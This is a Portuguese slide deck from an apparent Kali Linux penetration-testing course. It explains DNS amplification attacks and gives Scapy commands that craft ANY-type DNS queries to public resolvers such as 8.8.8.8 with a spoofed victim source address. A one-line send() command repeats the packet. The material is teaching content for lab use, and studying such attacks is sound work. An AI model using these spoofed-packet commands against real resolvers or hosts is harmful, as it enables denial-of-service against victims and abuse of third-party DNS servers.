Pentest com Kali Linux

Instrutor:Vitor Mazuco

http://facebook.com/vitormazuco

Email:vitor.mazuco@gmail.com

WebSite:http://vmzsolutions.com.br

Ataque de DNS

Ataques de amplificação de DNS são uma maneira para que um invasor possa ampliar a quantidade de largura de banda para uma vítima em potencial. Imagine que você é um atacante e você controla uma botnet capaz de enviar 100 Mbps de tráfego e seu cliente aguenta no máximo 10Mbps. Embora isso possa ser suficiente inutil para derrubar alguns sites de grande porte, pode ser uma quantidade boa para derrubar uma máquina local por exemplo. Nosso alvo poderá ser um Windows ou Linux.

Ataque de DNS

A fim de aumentar o volume do seu ataque, você pode tentar e adicionar mais máquinas para ser atacadas.

Alternativamente, você pode encontrar uma maneira de amplificar seus 100Mbps em algo muito maior.

Ataque de DNS

Há dois critérios para um bom vetor de ataque de amplificação:

1) consulta pode ser definida com um endereço de origem falsificado (por exemplo, através de um protocolo como ICMP ou UDP que não requer um *handshake*);

2) a resposta à consulta é significativamente maior do que a própria consulta.

DNS é uma plataforma de Internet onipresente que atenda a esses critérios e, portanto, tornou-se a maior fonte de amplificação ataques.

Ataque de DNS

Há dois critérios para um bom vetor de ataque de amplificação:

1) consulta pode ser definida com um endereço de origem falsificado (por exemplo, através de um protocolo como ICMP ou UDP que não requer um *handshake*);

2) a resposta à consulta é significativamente maior do que a própria consulta.

DNS é uma plataforma de Internet onipresente que atenda a esses critérios e, portanto, tornou-se a maior fonte de amplificação ataques.

Ataque de DNS

Para simular um ataque de amplificação de DNS, você terá que quer ter um servidor de DNS local ou saber o endereço IP de um servidor de nomes aberto e acessível ao público, ex: google, 8.8.8.8 ou a OpenDNS, 208.67.222.222.

Ataque de DNS

Vamos usar o scapy, para promover essa tentativa de negação de DDoS.

```
root@KaliLinux:~# scapy
Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
>>> i.dst = "8.8.8.8"
>>> i.display()
```

Ataque de DNS

```
>>> u = UDP()
>>> u.display()
>>> u.dport
>>> d = DNS()
>>> d.display()
>>> d.rd = 1
>>> d.qdcount = 1
>>> d.display()
>>> q = DNSQR()
>>> q.display()
```

Ataque de DNS

```
>>> q.qname = 'google.com'
>>> q.qtype=255
>>> q.display()
>>> d.qd = q
>>> d.display()
>>> request = (i/u/d)
>>> request.display()
>>> request
>>> sr1(request)
>>> i.src = "172.16.36.135"
```

Ataque de DNS

```
>>> i.display()
>>> request = (i/u/d)
>>> request
```

Podemos usar essa única linha para fazer todo esse processo de uma vez só.

```
>>>send(IP(dst="8.8.8.8",src="192.168.1.84")/UDP()/DNS(rd=1,qdcount=1,qd=DNSQR(qname="google.com",qtype=255)),verbose=1,count=3)
```

E agora, compare as variações de Rede da sua máquina alvo.